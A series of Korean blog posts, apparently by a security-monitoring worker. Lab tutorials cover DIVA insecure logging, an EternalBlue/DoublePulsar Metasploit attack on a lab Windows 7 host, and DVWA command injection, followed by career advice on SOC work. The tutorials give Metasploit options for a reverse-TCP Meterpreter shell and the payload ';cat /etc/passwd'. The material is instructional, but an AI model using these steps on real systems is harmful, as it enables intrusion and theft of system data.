안드로이드 앱 취약점 중 하나인 안전하지 않은 로깅은 Logcat을 통해 앱 실행 Log들이 보여질 때 아이디, 비밀번호 등과 같은 중요 정보들이 평문으로 노출되어 2차 피해를 입을 수 있다.
<그림 1-1 DIVA 앱>
안드로이드에 DIVA 앱을 설치하고 1. Insecure Logging을 클릭한다.
<그림 1-2 특정 값 입력>
임의의 카드 비밀번호를 입력하고 Check out을 누르면 에러메시지가 발생하게 된다. 현재 그림 1-2에선 나와 있지 않지만 임의의 번호를 입력하고 Check out을 누르면 에러메시지가 발생한다. 에러메시지가 발생하고 adb logcat을 통해 Logcat 정보를 보면 된다.
<그림 1-3 Logcat 정보>
adb logcat을 입력해 Logcat 정보들을 보면 그림 1-2에서 전송했었던 123123이 난독화 되지 않고 평문으로 전송되고 있음을 확인할 수 있다.
<그림 1-4 jadx-gui>
Jadx-gui 디컴파일 도구를 활용해 Diva 앱의 소스코드를 진단해본다. 현재 취약점이 발생되는 곳은 LogActivity쪽인데 전송되는 로그 정보 코드를 살펴보면 어떠한 시큐어코딩도 되지 않은채 사용자가 입력한 값이 그대로 전송되는 취약점이 발생하게 되는 것이다. 대응 방안은 이 코드 자체를 시큐어코딩을 하거나 삭제 하는 것이다.
이터널블루는 Shadow Brokers 해킹 그룹에 의해 유출된 미국 국가 안보국의 해킹 도구 중 하나다. 윈도우가 설치된 시스템에 파일 공유, 원격 코드 실행, 프린트 공유 등을 목적으로 한 SMB 프로토콜 원격코드 실행 취약점(MS17-010)을 이용한다. 또한 2017년 5월 12일에는 전 세계 워너크라이 랜섬웨어 공격에도 이용되기도 했다. SMB 프로토콜은 TCP 포트 445에서 실행된다.
이터널 블루가 설치되면 Eternalblue-Doublepulsar-Metasploit 폴더가 생기고 Eternalblue-Doublepulsar-Metasploit 폴더 안을 보면eternalblue-doublepulsar.rb라는 루비로 만들어진 파일이 있다는 것을 확인할 수 있다.
그림 1-3 eternalblue-doublepulsar.rb 이동
이제 eternalblue-doublepulsar.rb 파일을 복사해서 메타스플로잇 프레임워크에 추가한다. cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/ 명령어를 입력하게 되면 eternalblue_doublepulsar.rb의 복사된 파일이 해당 경로의 메타스플로잇 프레임워크에 추가된다.
2. 취약점 실습 환경 구성
사용 환경
OS 및 IP 주소
공격자 PC
Kali-linux 2019.02
IP 주소: 192.168.171.166
희생자 PC
Window 7 x64
IP 주소: 192.168.171.167
3. 취약점 공격 수행
그림 3-1 nmap 실행
nmap을 실행해 window 7의 smb 포트(445/tcp microsoft-ds)가 열려 있는지 확인한다. TCP half open 스캔 결과 희생자 PC(window 7)에 smb 포트가 열려있다는 것을 확인할 수 있다.
그림 3-2 메타스플로잇 실행
공격자 PC인 칼리리눅스에서 공격을 위해 메타스플로잇을 실행한다. postgresql을 실행하고 msfconsole 명령어를 입력하면 메타스플로잇이 실행된다.
그림 3-4 smb_ms17_010 모듈 실행
smb 취약점을 확인하기 위해 smb_ms17_010 모듈을 실행한다. use auxiliary/scanner/smb/smb_ms17_010을 입력하면 모듈 실행이 가능하며 show options 명령어를 입력하면 그에 따른 옵션들의 확인이 가능하다.
그림 3-5 smb 취약점 여부 확인
smb_ms17_010 모듈이 실행된 상태에서 희생자 PC의 smb 취약점 여부를 확인하기 위해 희생자 PC의 IP를 set하고 run 명령어를 입력해 실행한다. run 명령어 실행 결과 현재 희생자 PC에는 MS17-010 취약점이 있다고 메시지가 나오게 된다. 반드시 그림 3-5와 같이 취약점이 생겨야 공격이 가능하기 때문에 환경 설정이 중요하다.
그림 3-6 이터널블루-더블펄서 모듈 실행
이제 exploit을 위해 이터널블루-더블펄서 모듈을 실행한다. use exploit/windows/smb/eternalblue-doublepulsar 명령어를 입력해 이터널블루-더블펄서를 실행한 후 show options를 입력해 해당 모듈의 옵션들을 확인해준다.
그림 3-7 옵션 지정
이터널블루-더블펄서 모듈을 실행하고 exploit을 위해 각각의 옵션을 지정한다. doublepulsarpath, eternalbluepath는 기본적으로 설정되어 있기 때문에 그림 3-7처럼 그대로 두고 다른 옵션을 지정하면 된다. 사용되는 명령어는 다음과 같다.
명령어
정의
set processinject lsass.exe
주입할 프로세스 파일 지정, x64는 lsass.exe 사용
set rhost IP 주소
공격대상 IP 지정
set targetArchitecture x64
공격대상 아키텍쳐 지정
set target 8
공격 대상 OS 환경 지정
set payload windows/x64/meterpreter/reverse_tcp
페이로드 생성
그림 3-8 공격 실행
payload 옵션에서 lhost를 지정한다. lhost는 공격자의 IP를 지정하면 되고 지정된 후 exploit을 실행한다. 공격이 성공적으로 실행되면 그림 3-8과 같이 Pwned! Eternalblue success! 메시지가 나오면서 Meterpreter 세션을 open하면서 희생자 PC와 연결된다. 여기서 한가지 변수가 있을 수 있는데 /root/.wine/drive_c/와 관련해서 에러가 발생할 수 있는데 이 땐 root에 .wine 이름으로 폴더를 만들고 .wine 폴더 안에 drive_c 이름으로 폴더를 만들고 다시 exploit을 실행하면 에러 없이 공격이 가능해진다.
그림 3-9 희생자 PC 제어
meterpreter 세션이 연결되고 희생자 PC의 제어가 가능하다. sysinfo 명령어를 실행하면 현재 희생자 PC의 환경, 아키텍쳐, 컴퓨터 이름 등을 확인할 수 있고 dir 명령어를 입력해 실행하면 현재 컴퓨터 안에 있는 파일들이 어떤게 있는지 확인이 가능하다. 만약 여기에 중요 파일이 있다면 2차적인 피해가 일어날 수 있다.
그림 3-10 스크린 샷
이번엔 screenshot 명령어를 사용해서 희생자 PC를 캡쳐한 결과다. 이렇듯 smb 포트 취약점 하나만으로도 여러가지 피해가 발생할 수 있다.
4. 보안 대책
- Window 7 이상의 운영체제로 버전을 업그레이드하고 최신 보안 패치를 적용한다.
- 네트워크 방화벽이나 window 방화벽을 활용해서 SMB 관련 포트 차단(방화벽 설정을 활용해 SMB 포트 비활성화)
보안관제는 장점도 있지만 고충도 없지 않다. 보안관제는 업무 특성상 24시간, 365시간 늘 보안센터의 불빛은 켜져 있다. 이런 이유로 교대근무는 필수적인데 늘 주,야가 수시로 바뀌기 때문에 건강관리가 쉽지 않다. 교대근무자의 가장 힘든점은 수면 패턴이 바뀌게 되는데 비번이 있더라도 새벽에 잠을 잘 못자는 경우도 많이 발생한다. 이런 이유로 늘 몸이 지치고 위장병과 같은 소화기계 질환도 발생하는 경우도 있다. 그래서 필자는 이런 수면 패턴 관리 때문에 야간근무가 끝나고 오는 날은 4시간정도만 잠을 자고 활동을 한다. 공부를 하던지 운동을 하던지 계속 활동을 하게 되면 밤에 다시 졸음이 쏟아져 금세 패턴을 되찾고 수면 장애에 시달리지 않게 된다. 주변 지인들도 이런 방법으로 패턴관리를 하고 있고 5개월 째 보안관제를 하면서 수면 장애에 한번도 시달려 본 적은 없다. 대부분 교대근무자들이 수면장애에 시달려 소화기계 질환이 많이 발생하는데 확실히 잠을 안자면 소화기계질환에 시달릴 가능성이 크기 때문에 패턴관리가 무엇보다 중요하다. 두번째는 보안관제 업무 자체가 굉장히 여러가지 분야를 많이 하기 때문에 늘 일이 바쁘다. 물론 이건 사이트나 원격지에 따라 많이 다르겠지만 기본적으로 ips,ddx,waf 등과 같은 보안장비들을 만지고 네트워크, 시스템에 대한 기본 지식을 바탕으로 수많은 공격들을 처리해야 하기 때문에 빠른 이벤트 처리와 정오탐 판별은 기본 전제조건으로 따라오게 된다. 기존조에게 그날 있었던 이슈들과 어떤 작업을 했는지, 이어서 해야 할게 무엇인지 등을 인수인계 받는 순간부터 전쟁이 시작된다. 수많은 이벤트들이 올라오고 경보 대응을 해야 하고 그야말로 시간이 "순삭"이 된다. 정신없이 올라오는 이벤트들의 정오탐을 판별하고 부가적인 작업들을 하다보면 오전이 그냥가고 오후가 그냥가게 된다. 그만큼 해야할 일의 범위가 많이 넓은만큼 일이 많고 힘들다. 필자도 처음에 보안관제조로 투입되고 일을 시작했을 때 그야말로 "멘붕"이었다. 생각했던것보다 어렵고 만만치 않았다. 정오탐 판별도 빨리빨리 되지 않아 계속 애를 먹었다. 5개월차가 된 지금은 꽤 빨라지긴 했지만 여전히 새롭게 진화된 공격이 들어올때마다 늘 긴장을 안할 수가 없게 된다. 이벤트 분석이 밀리기 시작하면 한도끝도 없기 때문에 빠른 판단과 대응 능력은 기본 전제조건으로 깔리게 된다. 세번째는 원하는 날짜에 쉬지 못한다는 점이다. 보안관제인원들이 힘들어하는 점은 주말, 공휴일, 명절이 전혀 없다는 것이다. 남들 다 쉴 때 못쉬고 나와서 늘 보안센터를 지켜야하기 때문에 사명감으로 일해야 하는 분야이기도 하다. 스케줄 근무다 보니 휴가를 써야 하는데 본인 맘대로 쓰지 못하는 것도 관제사들의 고충이기도 하지만 한번 쓰게 되면 주간,야간근무 한번씩만 빼줘도 약 7일정도를 쉴 수 있게 된다. 이렇듯 보안관제의 장점도 있지만 고충들도 만만치는 않다. 하지만 앞 글에서 설명했듯 이런 고충들을 견디고 보안관제 경력 2년차만 되도 본인이 할 수 있는 보안 파트가 더 많아지고 본인이 원하는 회사에 갈 확률도 많이 높아진다. 그리고 보안관제 업무를 하면서 사람들과 협업하는 방법 등 배우고 느끼는 점이 굉장히 많기 때문에 이렇게 바쁘게 지내고 힘든만큼 나중엔 다 보상받게 되고 급속도로 성장한 나 자신을 발견할 수 있을 것이다.
커맨드 인젝션 공격이란 영어로 번역하면 Command Injection Attack인데 정의 그대로 Command에 임의의 명령어를 삽입하고 요청을 보내 웹 서버에서 실행되게 하는 공격이다. 어떤 웹 어플리케이션 공격이 내부에서 실행된다고 했을 때 사용자가 입력한 값이 적절한 검증 절차가 존재하지 않으면 입력했던 시스템 명령어가 그대로 전달되서 공격자는 이 값을 조작해 시스템 명령어 삽입 시도 공격을 할 수 있게 된다.
<커맨드 인젝션 공격 시나리오>
<출저: 화이트해커를 위한 웹 해킹 기술>
그림에서 사용자가 IP 주소를 입력해 ping 명령어를 입력하면 웹 서버에 보내져 ping 명령어를 실행하는 웹 사이트에 접속했음을 알려주는 시나리오다. 공격자는 ping 주소 뒤에 ;를 붙이고 cat /etc/passwd라는 시스템 명령어 삽입 공격을 시도한다. 만약 시스템 명령어 삽입 공격이 성공하면 공격자가 원하는 결과를 볼 수 있게 된다.
2. 공격 실습
<그림 2-1> DVWA Command Injection>
DVWA에서 Command Injection을 실행시켜 IP 주소 란에 127.0.0.1을 입력하면 웹 서버에서 ping 결과를 알려준다. 만약 이 명령어를 리눅스 상에서 입력해도 똑같은 결과값이 나온다.
<그림 2-2 취약한 소스코드>
커맨드 인젝션 공격이 시도될 때 어떻게 동작되는지 알아보기 위해 소스코드를 진단한다. 여기서 shell_exec(); 함수가 호출되는데 이 함수는 시스템 명령을 내리는 역할을 한다. 현재 소스코드에선 'ping -c 4'를 통해 ping을 보내게 되는데 -c는 횟수를 제한하는 옵션이고 여기선 ping 값을 4번 전달받겠다는 의미다. $target는 웹의 요청 메세지로부터 전달된 파라미터 값으로 이 부분에 ip를 입력해 ping 명령이 실행된다. 이 소스코드에선 특수 문자(;,&,% 등)를 필터링 해주는 코드는 없기 때문에 ; 뒤에 리눅스 명령어를 실행시키면 동작하게 되는 취약한 소스코드로 판단할 수 있다.
<그림 2-3 리눅스 ping 명령어>
콘솔에 ping -c 4 127.0.0.1을 입력해 실행하면 그림 2-1과 동일한 결과가 나온다. 이 때 4는 ping을 4번 보내겠다는 의미다.
<그림 2-4 시스템 명령어 삽입 시도>
이번엔 공격자 입장에서 시스템 침투를 시도한다. 그림 2-3에선 127.0.0.1에서 끝났지만 그림 2-4에선 ;(세미콜론)을 붙여 시스템 명령어를 삽입한다. ls 명령어를 삽입하고 실행하면 그림 2-4와 같이 현재 로컬에 존재하는 폴더 목록들을 볼 수 있다.
<그림 2-5 시스템 명령어 삽입 공격 시도>
DVWA에서 ;cat /etc/passwd 명령어를 삽입해 공격을 시도하면 그림 1-5와 같이 현재 웹 서버에 있는 디렉토리 목록들이 전부 노출되었음을 볼 수 있다. 이 공격이 가장 기본이 되는 커맨드 인젝션 공격 방법이며 실제로도 이와 같은 방식으로 공격이 들어올 때가 있다.
<그림 2-6> Command Injection 공격 패턴
실제로도 많이 사용되고 있는 커맨드 인젝션 공격 패턴이다. 보안관제에서 만약 이 패턴들이 들어왔을 때 차단을 하게 되는데 실제 이 패턴이 공격자들이 상당히 즐겨쓰는 패턴이기도 하다. 또한 모의해킹을 수행할 때도 이 패턴으로 점검을 수행하기도 한다.
취업 관련 강연을 갔다가 어느 한 후배에게 질문을 받았는데 보안관제는 꼭 전공자여야 입사가 가능한지에 대한 여부였다. 일단 결론부터 말하면 가능하다. 필자도 현재 보안관제/침해사고대응 업무를 하고 있지만 대학 시절 비전공자였다. 그렇다고 완전히 벗어난 전공자는 아니었고 소위 말하는 전자/화학/기계 중 하나였다. 기본적으로 이 과들도 C언어, C++ 언어까지는 배우는데 그 이상으론 배우진 않았었다.(이것도 학교마다 다르긴하지만) 나도 처음엔 수능 점수에 맞춰서 학교, 학과에 들어갔고 막상 공부해보니 정말 맞지 않았다. 회로이론, 반도체 물성 등 제조업에 관련된 내용을 배웠지만 필자는 늘 재미없고 지루하기만 했다. 학점은 그럭저럭 나왔어도 "내가 이걸 왜 해야 하지?"라는 생각이 들었다. 물론 이쪽 계통 공부가 잘 맞는 친구들도 있지만 필자 같은 경우는 정말로 재미가 없었다. 그래서 대학 들어가서 뒤늦게 컴퓨터 만지는것에 흥미가 생겨 진로 자체를 아예 컴퓨터 보안쪽으로 바꾸게 되었다. 처음엔 개발 공부를 했지만 매번 기업 보안이 뚫렸다는 이야기를 듣고 보안쪽에 더 관심이 생겼다. 처음엔 필자도 걱정이 많았다. 케이쉴드주니어를 수료해도, 다른 교육기관가서 교육을 받았어도 "비전공자"라는 꼬리표는 영원히 나를 따라다녔기 때문에 내가 원하는 회사, 원하는 분야에 취업을 할 수 있을까? 늘 이 생각이었다. 지금 돌이켜 생각해보면 비전공자였기 때문에 보안 교육을 받을때 남들보다 5배, 10배이상은 노력했던거 같다. 내가 선택했고 좋아서 했던 분야였던만큼 약 1년간은 밤,낮을 안가리고 컴퓨터 앞에만 앉아서 취약점 분석하고 웹 진단 프로젝트하고 할 수 있는 모든 건 다 쏟아부었다. 이런 노력들은 하늘이 배신하지 않았는지 보안 회사 중 1류 기업, 관제/컨설팅 직무로 입사할 수 있었다. 현재는 보안관제/침해사고대응 업무로 배정을 받아 수행하고 있지만 주변 지인들을 봐도 비전공자 출신이지만 누구보다 열정적으로 보안에 종사하고 있는 사람들도 많다. 그렇기 때문에 "비전공자"라는 타이틀을 두려워할 필요도 없고 자격지심을 가질 필요는 더더욱이 없다. 물론 전공자(컴퓨터공학, 정보보호학)라면 분명 이점이 있는 건 사실이지만 비전공자라고 해서 서류상에 불이익이 있거나 지원자체가 안되거나 하는 일은 전혀 없으니 걱정하지 않아도 된다. 다만 전공자에 비하면 컴퓨터쪽 지식(네트워크, OS 등)이 조금은 부족할 수는 있으니 본인이 정말 많은 노력을 해서 커버하려고 한다면 문제될 건 전혀 없다고 생각한다. 늘 노력하는 사람한텐 전공에 상관없이 결과로 보상받을 수 있으니 보안이라는 분야에 열정을 다할 수 있었으면 좋겠다.
지난번 글에서 근무 환경에 대해 많이 자세하게 적지 못한거 같아 다시 적었다. 늘 보안관제 근무환경에 대해 안좋고 부정적인 인식이 많은거 같아 조금 더 적어본다.
보안관제는 사이트, 회사에 따라 다르지만 보통은 4조 2교대 형식으로 돌아가는 교대근무다. 스케쥴 근무기 때문에 회사마다 근무시간표가 다 다르다. 어떤 회사는 주야비비 어떤 회사는 한달은 풀주간, 한달은 풀야간 등 이런식으로 전부 다르다. 그렇기 때문에 100% 교대근무라고 장담할 수는 없다. 하지만 통상적으로 돌아가는건 4조 2교대이며 공기업 같은 곳은 5조 3교대로 돌아가는게 보통이다. 그래서 보안관제는 24시간 교대 근무를 서야 하기 때문에 자기 관리가 많이 필요한 분야이기도 하다. 내가 생각하기에 보안관제는 주로 야행성인 사람들에게 잘 맞는다고 생각했다. 주야비비로 일정하게 돈다는 가정하에 야간근무를 7번정도는 서야 하기 때문에 밤에 활동하는 걸 좋아하는 사람들에겐 좋은 분야라고 생각했다. 하지만 이것도 사람의 체질에 따라 매우 다르기 때문에 100% 장담은 못하지만 대체적으론 이런식으로 돌아간다. 보안관제 경력 5년차쯤 되면 PL급 정도 되는데 이 때부터 본인의 실력에 따라 교대근무를 안하고 주간 근무를 갈 수 있는 기회가 주어지게 되는데 보안관제라고 해서 평생 교대근무만 돌게 되진 않는다.
좀 더 추가해서 보안관제는 실내에서 근무를 하고 앉아서 근무하기 때문에 상당히 환경은 좋은 편이다. 게다가 센터 안에는(파견 시) 공기 정화기도 설치가 다 되어 있어 실내 공기도 상당히 깨끗하다. 나도 알레르기성 비염이 있었는데 보안관제를 하면서 많이 치료된 특이한 경우도 있다. 또한 이것도 회사나 파견지에 따라 다르지만 야간 근무 때 2~3시간 정도 교대로 잠을 잘 수 있는 곳도 있다. 최근에 보안관제에 대한 인식이 많이 올라가고 환경과 처우를 개선해야 된다는 목소리가 높아지면서 보안관제사들이 최대한 몸이 안상하게 하고 과도한 업무를 줄이는 등 환경이 계속 개선되고 있는 상황이다. 물론 교대근무가 힘들 수도 있지만 주간에 출근하는 직장인들에 비해 개인 시간이 많다는 장점이 있기 때문에 한번쯤은 도전해봐도 괜찮은 파트 중 하나다.
보안관제는 다른 보안 파트에 비해 수요가 많은 분야 중 하나다. 그렇기 때문에 흔히 알고 있는 잡코리아, 사람인 등 취업 사이트에서 어렵지 않게 보안관제 채용을 찾아볼 수 있다. 하지만 보안관제쪽도 인공지능 기술이 발달하게 되면서 시스템들이 점점 자동화되고 있는 추세라 일자리가 예년에 비해 많지 않다. 근무자들이 점점 편해질 순 있지만 그만큼 일자리가 줄어들 수 있다는 의미다. 그렇다고 너무 걱정할 건 없다. 보안관제는 보안에서 가장 핵심이 되고 최전방에서 근무하는 업무기 때문에 여전히 사람이 부족하고 수요가 꾸준히 있는 파트 중 하나다.
그렇다면 보안관제로 취업하려면 어떤 것을 준비 해야 할까? 이 질문을 하게 되면 전공자와 정보처리기사, 정보보안기사 자격증이 있어야 된다고 대답하는 사람들도 많다. 물론 틀린 말은 아니다. 일명 쌍기사 자격증이면 서류통과가 되는 회사가 많기 때문이다. 사실 보안 쪽은 시장 자체가 아주 크지 않기 때문에 다른 파트보다 경쟁이 치열한 편이기도 하다. 그렇기 때문에 유명한 보안 업체쪽 보안관제 파트도 고스펙자들이 상당히 많이 몰린다. 이런 사람들과 경쟁에 이기기 위해선 무언가 특별하고 차별화 된 스펙이 필요하다. 요즘은 보안 동아리, BOB나 케이쉴드주니어 등과 같은 보안 교육 프로그램도 상당히 많다. 이런 프로그램이나 동아리에 참여해서 보안에 대한 프로젝트도 하고 그 안에서 실무자들의 조언도 듣고 인맥도 쌓고 정보도 많이 얻고 일석 삼조이상의 효과를 거둘 수 있다. 그리고 나중에 입사 지원서를 쓸 때도 이런 부분들이 상당히 어필이 많이 될 수 있다. 이런 이유로 필자는 "열정"을 어필할 수 있는 본인만의 스토리를 만들라고 강조하고 싶다. 필자도 실제로 자격증, 전공, 학점만 놓고 봤을 땐 서류도 통과 못할 스펙이었지만 보안 동아리, 보안에 관련된 교육 프로그램에 적극적으로 참여하며 거기서 진행 했던 개인 프로젝트가 있었는데 이 프로젝트가 잘되서 리디북스에 전자책으로 출판을 한 경험이 있다. 이렇게 차별화 된 스펙이 서류를 통과하는데 있어서 결정적인 역할을 했다고 생각한다. 꼭 전자책을 통해 차별화하란 이야기가 아니다. 자신이 정말 보안에 대해 열정을 가진 포트폴리오를 만들어 보는 것도 취업 준비를 하는데 큰 도움이 되게 되고 꼭 보안 자격증이 없더라도 자신이 만든 포트폴리오나 경험들이 서류 통과에 결정적인 영향을 미칠 수 있다.
서류가 통과되고 나면 면접을 보게 되는데 신입사원 같은 경우는 기본 네트워크, 웹 해킹, 인성 질문들을 위주로 하게 된다. 면접관분들도 신입임을 충분히 감안해서 질문을 하시기 때문에 너무 부담가질 필요는 없다고 생각한다. 특히 보안관제 면접에선 보통 네트워크 기본 이론, 웹 해킹에서 공격 및 대응방안 등에 대해 질문을 하게 되기 때문에 이 위주로 준비하면 된다. 네트워크에선 OSI 7 Layer, TCP, UDP 특징 등, 웹 해킹에선 XSS공격, SQL인젝션 공격, OWASP TOP 10 등의 내용이 면접에서 자주 등장하게 된다. 좀 더 확장하면 보안 장비들이 어떤게 있고 어떤 특징이 있는지에 대해서도 알아가면 훨씬 더 수월하게 대답할 수 있게 된다. 실제로 보안관제 실무면접에서 받은 질문들은 보안관제 실무에 들어가서도 많은 도움이 되며 기본적으로 꼭 알고 있어야 할 지식이기도 하다. 또한 큰 규모의 보안회사들은 신입사원 같은 경우엔 인성을 상당히 많이 보고 중요시하기 때문에 면접 보는 태도도 매우 중요하다. 이런 점들을 잘 알아 두고 면접에 임하면 좋은 결과를 얻을 수 있을 것이다.
1. 보안관제에서 하는 일과 인식들 보안관제는 정확히 콕 찍어서 말하기 어려울 정도로 상당히 다양한 일을 한다. 가장 대표적인 게 실시간으로 들어오는 이벤트 탐지 및 분석, IP 차단 및 공격 대응, 보안 장비들 관리다. 각 사이트 별로 다르긴 하겠지만 보안관제단에서 하는 업무는 크게 앞에 제시한 일들이다. 또한 보안관제는 크게 2가지로 분류되는데 파견관제와 원격관제로 구분된다. 원격관제는 본사에 상주하며 해당 고객사들에게 원격으로 관제를 해주는 일을 하며 파견 관제는 직접 고객사로 파견 나가서 상주하며 근무하는 형태를 띠고 있다. 다 장단점이 있으며 꼭 어디가 좋다 안좋다로 구분 짓기는 어려운 점도 있다.
막상 근무지에 배정받고 일을 해보니 보안관제야 말로 상당히 종합적인 예술인 직무 중 하나였다. 모의해킹 이론은 기본이고 침해사고대응 등 정말 다양한 일을 경험하고 있다. 보안관제는 공격들을 방어하는 업무가 주가 되기 때문에 공격자들이 주로 쓰는 웹 해킹 이론은 기본적으로 알고 있어야 대응과 차단이 가능했다. 물론 사이트마다 다르겠지만 대체적으로 보안관제에서는 모의해킹, 악성코드분석 이론이 기본이 되어야 할 수 있는 업무가 많다. 또한 보안관제를 하면서 침해사고대응, CERT 업무까지 같이 하고 있는 사이트들도 있기 때문에 본인이 어떤 사이트를 배정받느냐에 따라 크게 달라질 수 있는게 보안관제라는 분야기도 하다. 최근에는 보안관제도 인공지능 기술을 사용해 자동화가 되어 있는 부분들도 있어 보안관제라고 해서 꼭 보안관제"만"을 하는 것도 아니고 악성코드분석만 할 수도 있고 패킷 분석만 할 수도 있고 사이트마다 다 다르다.
2. 신입이 주로 취업하는 분야나 근무 형태는 어떻게 되나요? 보안쪽으로 입문하게 되면 보안관제, 기술컨설팅쪽으로 많이 취업하게 된다. 하지만 직무 별로 특성도 다르고 보는 시각이 다르기도 하다. 보안관제는 보통 24시간 교대근무를 하며 4조 2교대 형태로 하는 경우가 많다. 하지만 새벽 근무를 끝내면 이틀간에 휴식이 있기 때문에 생각보다 힘들지는 않다. 물론 주말, 휴일 없이 출근해야 하기 때문에 그런 것은 조금 감안을 해야 하겠지만 주 5일을 근무하는 것보다 육체적으로는 안 힘들 수 있다.(이것도 사람마다 체질이 다르다.) 기술컨설팅쪽은 주 5일 근무에 주로 고객사에 상주하면서 근무를 하지만 출장이 상당히 많고 고객사마다 근무 형태도 천차만별이기 때문에 기술컨설팅이라고 해서 100% 주간 근무는 아니다. 프로젝트 기간, 진행 상황에 따라 근무 형태나 근무 시간이 달라질 수 있기 때문에 기술컨설팅 역시 건강 관리가 많이 필요한 파트기도 하다.
3. 보안관제에 취업하고 싶은데 가장 중요한 지식이 뭔가요? 일단 결론적으로 이야기하면 네트워크, 웹 해킹에 대한 지식을 넓히라고 이야기하고 싶다. 보안관제단에서 주로 방어하는게 웹 해킹에 대한 것들이 많기 때문에 웹 해킹에 대한 지식은 매우 기본이다. 또한 장비들을 만지고 대응을 하려면 네트워크에 대한 지식도 기본 사항에 들어간다. OSI 7 Layer은 기본이며 본인이 더 깊게 네트워크 공부를 해야한다. 사실 네트워크, 웹해킹은 보안관제 뿐만이 아니라 다른 파트에서도 가장 기본이 되는 지식 중에 하나다. 그렇기 때문에 보안관제에 취업하기 위해선 네트워크와 웹 해킹을 집중적으로 공부하라고 후배들에게도 조언해주고 있다.
4. 그럼 보안관제 경력이 쌓이면 또 어떤일들을 할 수 있을까요? 보안관제는 사실 공격자들이 하는 공격에 대해 방어를 하는 업무이기 때문에 상당히 어렵고 전문적인 지식도 많이 필요한 파트 중 하나다. 그렇기 때문에 경력이 쌓일수록 보안 분야에 대한 시각이 넓어지며 어떤 파트로 옮기더라도 업무를 잘 수행해낼 가능성도 높다. 보안관제 경력이 쌓이면 할 수 있는 일은 다양하지만 대표적으론 CERT가 있다. 큰 보안업체 기준으로 보면 보안관제단에서 CERT까지 같이 하고 있는 경우가 많기는 하지만 CERT팀을 따로 운영하고 있는 회사도 있다. 보통 초급 CERT는 보안관제 3년차에서 하기 시작한다.(이것도 회사마다 다르다) CERT팀은 침해사고를 분석하고 대응하는 일들을 주로 하게 되는데 이 때 침해사고를 분석할 때 포렌식 기술을 활용하고 악성코드 분석까지도 다 하기 때문에 고급 기술들을 많이 쓰고 한단계 위의 일들이라고도 볼 수 있다. CERT팀도 보통은 주간업무를 하지만 때에 따라 침해사고가 새벽에 발생했을 땐 갑자기 출근해야 하는 경우들도 많기 때문에 이 역시 근무 형태가 많이 달라질 수 있는 파트 중 하나다. 만약 CERT 쪽에서 경력이 쌓이게 되면 보통은 보안 담당자, 연구계열 쪽으로도 노려볼 수 있다.
보안관제라는 파트는 사명감, 책임감이 없으면 수행하기 매우 어렵고 오래 하지 못한다. 그렇기 때문에 늘 꾸준한 자기 계발이 필요하며 본인이 발전할 수 있는 커리어를 잘 생각해서 만드는게 중요하다.